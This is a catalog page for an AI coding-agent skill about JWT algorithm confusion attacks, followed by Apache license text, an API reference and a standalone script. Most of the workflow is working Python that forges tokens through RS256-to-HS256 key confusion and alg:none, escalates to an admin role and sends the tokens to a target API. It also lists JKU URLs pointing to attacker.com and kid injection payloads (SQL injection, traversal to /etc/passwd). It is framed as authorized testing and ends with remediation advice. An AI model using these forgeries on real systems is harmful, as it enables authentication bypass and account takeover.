
Exploiting Jwt Algorithm Confusion Attack
- 204 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
exploiting-jwt-algorithm-confusion-attack is a Claude Code skill in the AI & Agent Building category.
- exploiting-jwt-algorithm-confusion-attack
- AI & Agent Building
- AI-coding skill
Exploiting Jwt Algorithm Confusion Attack by the numbers
- 204 all-time installs (skills.sh)
- +17 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #2,861 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-jwt-algorithm-confusion-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 204 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Exploiting JWT Algorithm Confusion Attack
When to Use
- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
- Assessing JWT implementations for alg:none bypass where the server skips signature verification
- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
- Validating that the API server enforces a specific algorithm and does not trust the JWT header
Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
Prerequisites
- Written authorization specifying the target API and JWT-based authentication in scope
- A valid JWT token from the target API (obtained through legitimate authentication)
- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
- Python 3.10+ with
PyJWT,cryptography, andrequestslibraries - jwt_tool for automated JWT attack testing
- Burp Suite with JWT Editor extension
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: JWT Token Analysis
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")Step 2: Obtain the Public Key
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")Step 3: Algorithm Confusion Attack (RS256 to HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
If the server uses a generic verify() that trusts the alg header, it will use
the public key as the HMAC secret, matching our signature.
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify payload if requested
if modifications:
payload.update(modifications)
# Create header with HS256
new_header = {"alg": "HS256", "typ": "JWT"}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with HMAC-SHA256 using the RSA public key as the secret
signing_input = f"{header_b64}.{payload_b64}".encode()
# Use the raw PEM bytes as the HMAC key
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# Attack 3: Try different public key formats
key_formats = [
public_key_pem, # Full PEM
public_key_pem.strip(), # Stripped whitespace
public_key_pem.replace(b'\n', b''), # No newlines
public_key_pem.decode().split('\n')[1:-1], # Base64 only
]
for i, key_format in enumerate(key_formats):
if isinstance(key_format, list):
key_format = ''.join(key_format).encode()
elif isinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")Step 4: Algorithm None Attack
def forge_none_algorithm(token, modifications=None):
"""Create tokens with alg:none variations to bypass signature verification."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Different "none" algorithm variations
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # Missing alg entirely
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# Different signature options
sig_options = [
"", # Empty signature
".", # Just a dot
parts[2], # Original signature
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
breakStep 5: JKU and KID Header Injection
import os
# Attack: JKU (JWK Set URL) injection
# Host attacker-controlled JWKS that contains our key pair
def generate_attacker_jwks():
"""Generate an RSA key pair and JWKS for the attacker's server."""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# Generate attacker key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# Create JWT with JKU pointing to attacker server
def forge_jku_token(payload_modifications, jku_url):
"""Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # Points to attacker-hosted JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with attacker's private key
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# Test JKU injection with various URLs
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# Bypass URL filters
f"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# Note: This test requires hosting the attacker JWKS at the specified URL
print(f" JKU injection payload generated for: {jku}")
# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
"../../../../../../dev/null", # Path traversal to empty file
"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup
"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # URL-based kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# Sign with the expected key material from the injection
signing_input = f"{header_b64}.{payload_b64}".encode()
# For path traversal to /dev/null, the key would be empty
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")Key Concepts
| Term | Definition |
|---|---|
| Algorithm Confusion | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |
| alg:none Attack | Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection |
| JKU Injection | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |
| KID Injection | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |
| Key Confusion | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |
| JWKS (JSON Web Key Set) | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |
Tools & Systems
- jwt_tool: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
- Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
- hashcat (mode 16500): GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
- John the Ripper: CPU-based JWT secret cracking with wordlist and rule-based attacks
- jwt.io: Online JWT decoder and debugger for quick token analysis
Common Scenarios
Scenario: Algorithm Confusion on Banking API
Context: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.
Approach: 1. Obtain a valid JWT by authenticating as a regular user 2. Extract the RSA public key from the JWKS endpoint at /.well-known/jwks.json 3. Create a new JWT with "alg": "HS256" header and sign it using the RSA public key as the HMAC secret 4. Send the forged token to GET /api/v1/users/me - server accepts it (algorithm confusion confirmed) 5. Modify the payload to set "role": "admin" and "sub": "admin@bank.com" - sign with the public key 6. Access admin endpoints: GET /api/v1/admin/transactions returns all transaction history 7. Test alg:none: rejected by the server (partial mitigation) 8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection
Pitfalls:
- Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
- Not trying multiple public key formats when the first one does not produce a valid signature
- Assuming the alg:none defense means algorithm confusion is also mitigated
- Not testing kid injection vectors when the kid parameter is present in the JWT header
- Missing JKU/x5u header injection when the server fetches keys from URLs
Output Format
## Finding: JWT Algorithm Confusion Enables Authentication Bypass
**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware
**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.
**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.
**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: JWT Algorithm Confusion Attack
JWT Structure
Three parts (dot-separated, Base64URL-encoded)
<header>.<payload>.<signature>Header
{"alg": "RS256", "typ": "JWT"}Common Algorithms
| Algorithm | Type | Key |
|---|---|---|
| HS256 | HMAC | Symmetric shared secret |
| RS256 | RSA | Asymmetric key pair |
| ES256 | ECDSA | Asymmetric key pair |
| none | None | No signature |
Algorithm Confusion Attack
Attack Flow
1. Server uses RS256 (asymmetric) with public/private key pair 2. Attacker obtains server's RSA public key 3. Attacker changes alg header from RS256 to HS256 4. Attacker signs token with the RSA public key as HMAC secret 5. Server verifies with public key using HMAC (accepts token)
Forging with Public Key
import hmac, hashlib, base64, json
header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url(json.dumps({"sub": "admin"}))
signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
token = f"{header}.{payload}.{base64url(signature)}"None Algorithm Attack
Forged Token
header = base64url('{"alg":"none","typ":"JWT"}')
payload = base64url('{"sub":"admin","admin":true}')
token = f"{header}.{payload}."JWT Header Injection Attacks
JKU (JSON Web Key Set URL)
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}X5U (X.509 URL)
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}KID (Key ID) — SQL Injection
{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}KID — Path Traversal
{"alg": "HS256", "kid": "../../dev/null"}Python PyJWT Library
Decode without verification
import jwt
decoded = jwt.decode(token, options={"verify_signature": False})Verify with algorithm restriction
decoded = jwt.decode(token, public_key, algorithms=["RS256"])jwt_tool — JWT Testing Tool
Scan for vulnerabilities
python3 jwt_tool.py <token> -M at # All tests
python3 jwt_tool.py <token> -X a # alg:none attack
python3 jwt_tool.py <token> -X k -pk public.pem # Key confusionRemediation
1. Always specify allowed algorithms: algorithms=["RS256"] 2. Never accept alg: none 3. Use separate verification logic for symmetric vs asymmetric 4. Validate JKU/X5U against allowlist
#!/usr/bin/env python3
"""Agent for testing JWT algorithm confusion vulnerabilities."""
import argparse
import base64
import hashlib
import hmac
import json
from datetime import datetime, timezone
def decode_jwt(token):
"""Decode a JWT token without verification."""
parts = token.split(".")
if len(parts) != 3:
return None
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
return {"header": header, "payload": payload, "signature": parts[2]}
def forge_none_alg(payload_dict):
"""Create a JWT with alg:none (CVE in some libraries)."""
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
payload = base64.urlsafe_b64encode(
json.dumps(payload_dict).encode()
).rstrip(b"=").decode()
return f"{header}.{payload}."
def forge_hs256_with_public_key(payload_dict, public_key_pem):
"""Forge JWT by signing with RSA public key as HMAC secret (alg confusion)."""
header = base64.urlsafe_b64encode(
json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
).rstrip(b"=").decode()
payload = base64.urlsafe_b64encode(
json.dumps(payload_dict).encode()
).rstrip(b"=").decode()
signing_input = f"{header}.{payload}".encode()
key_bytes = public_key_pem.encode() if isinstance(public_key_pem, str) else public_key_pem
signature = hmac.new(key_bytes, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b"=").decode()
return f"{header}.{payload}.{sig_b64}"
def analyze_jwt(token):
"""Analyze a JWT for common vulnerabilities."""
decoded = decode_jwt(token)
if not decoded:
return {"error": "Invalid JWT format"}
findings = []
header = decoded["header"]
payload = decoded["payload"]
alg = header.get("alg", "")
if alg.lower() == "none":
findings.append({"issue": "Algorithm set to 'none'", "severity": "CRITICAL"})
if header.get("jku"):
findings.append({"issue": f"JKU header present: {header['jku']}", "severity": "HIGH"})
if header.get("x5u"):
findings.append({"issue": f"X5U header present: {header['x5u']}", "severity": "HIGH"})
if header.get("kid"):
findings.append({"issue": f"KID header: {header['kid']}", "severity": "MEDIUM"})
exp = payload.get("exp")
if exp:
from datetime import datetime as dt
exp_dt = dt.fromtimestamp(exp, tz=timezone.utc)
if exp_dt < dt.now(timezone.utc):
findings.append({"issue": f"Token expired: {exp_dt.isoformat()}", "severity": "LOW"})
else:
findings.append({"issue": "No expiration claim", "severity": "MEDIUM"})
if payload.get("admin") or payload.get("role") in ("admin", "root"):
findings.append({"issue": "Admin role in payload", "severity": "INFO"})
return {
"header": header,
"payload": payload,
"algorithm": alg,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(
description="Test JWT algorithm confusion vulnerabilities (authorized testing only)"
)
parser.add_argument("--token", help="JWT token to analyze")
parser.add_argument("--forge-none", action="store_true", help="Forge alg:none token")
parser.add_argument("--forge-hs256", help="Path to RSA public key for alg confusion")
parser.add_argument("--payload", help="JSON payload for forged token")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] JWT Algorithm Confusion Testing Agent")
print("[!] For authorized security testing only")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
if args.token:
analysis = analyze_jwt(args.token)
report["findings"].append({"type": "analysis", **analysis})
print(f"[*] Algorithm: {analysis.get('algorithm', 'unknown')}")
print(f"[*] Issues: {len(analysis.get('findings', []))}")
payload_dict = json.loads(args.payload) if args.payload else {"sub": "admin", "admin": True}
if args.forge_none:
forged = forge_none_alg(payload_dict)
report["findings"].append({"type": "forge_none", "token": forged})
print(f"[*] Forged alg:none token: {forged[:60]}...")
if args.forge_hs256:
with open(args.forge_hs256, "r") as f:
pub_key = f.read()
forged = forge_hs256_with_public_key(payload_dict, pub_key)
report["findings"].append({"type": "forge_hs256_confusion", "token": forged[:60] + "..."})
print(f"[*] Forged HS256 confusion token generated")
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()